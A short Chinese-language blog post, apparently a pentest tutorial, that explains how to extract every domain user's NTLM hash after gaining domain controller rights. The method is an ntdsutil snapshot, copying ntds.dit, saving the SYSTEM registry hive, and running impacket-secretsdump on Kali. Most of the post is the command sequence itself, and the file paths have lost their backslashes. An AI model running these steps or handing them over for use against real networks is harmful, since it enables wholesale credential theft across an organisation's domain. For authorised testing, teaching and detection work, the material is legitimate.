ntds.dit 获取域内用户ntlm hash

ntds.dit 获取域内用户ntlm hash,第1张

ntds.dit 获取域内用户ntlm hash

前提:在获取了域控权限后,可以通过读取ntds.dit 获取域内更多资产信息

概念:
活动目录中,所有域内数据都保存在ntds.dit中,存储位置为 %SystemRoot%ntdsntds.dit,ntds.dit中包含用户名,散列值,组,OU,GPP等活动目录相关信息;
在域控主机中默认自带了ntdsutil.exe ,是一个为活动目录提供管理机制的程序,使用ntdsutil.exe 用于维护活动目录等,ntdsutil.exe 支持的 *** 作系统有win2003,win2008,win2012;

目的:通过域控win2008上的ntdsutil.exe 获取域内所有用户用户名和ntlm hash值;

实 *** 提取ntds.dit:
1,对于不熟悉的命令,通过查看帮助是个好习惯:
ntdsutil ?
ntdsutil snapshot ?

2,在域控主机命令行 通过ntdsutil 创建一个快照
ntdsutil snapshot “activate instance ntds[活动实例名字]” create quit quit
通过此命令生成了一个GUID[快照ID ]为{a75d0907-6afc-405e-9776-4afef6784a7d}的快照

3,加载刚刚创建的快照【挂载快照】:ntdsutil snapshot “mount {GUID}” quit quit

挂载成功后将在C盘下生成一个文件夹:

执行命令,将ntds.dit复制得到C盘:
copy C:$SNAP_202111171154_VOLUMEC$WindowsNTDSntds.dit c:ntds.dit

4,卸载并删除挂载的快照:
ntdsutil snapshot “unmount {a75d0907-6afc-405e-9776-4afef6784a7d}” “delete {a75d0907-6afc-405e-9776-4afef6784a7d}” quit quit

5,导出ntds.dit后,需要将注册表中的hklmsystem键值对导出,因为该键值对中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息:
reg save hklmsystem C:system.hive

6,使用kali的impacket工具包导出散列值
将C盘下的ntds.dit 和 system.hive复制到kali,执行:
impacket-secretsdump -system system.hive -ntds ntds.dit local

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5575843.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-14
下一篇 2022-12-14

发表评论

登录后才能评论

评论列表(0条)

保存